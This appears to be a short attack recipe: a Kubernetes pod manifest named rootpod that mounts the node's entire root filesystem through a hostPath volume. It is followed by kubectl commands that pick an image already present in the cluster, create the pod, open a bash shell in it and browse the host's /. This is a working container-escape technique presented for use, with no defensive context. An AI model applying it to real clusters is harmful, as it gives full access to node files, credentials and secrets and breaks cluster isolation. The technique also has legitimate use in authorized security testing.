A yaml file for creating a pod on Kubernetes that mounts the hosts /

rootpod.yaml

apiVersion: v1
kind: Pod
metadata:
  name: rootpod
spec:
  containers:
  - name: rootpod
    image: nginx # Pull from an existing pod
    imagePullPolicy: IfNotPresent
    volumeMounts:
      - name: root-of-host
        mountPath: /rootpod
  volumes:
  - name: root-of-host
    hostPath:
      path: /

1.) List available images

./kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{"\n"}{.metadata.name}{":\t"}{range .spec.containers[*]}{.image}{", "}{end}{end}' |sort

2.) Replace "nginx" with the full image name

3.) Add the pod

./kubectl apply -f ./rootpod.yaml

4.) Run an interactive bash shell on the pod

./kubectl exec -it rootpod -- bash

5.) Browse to the root of the host

cd /rootpod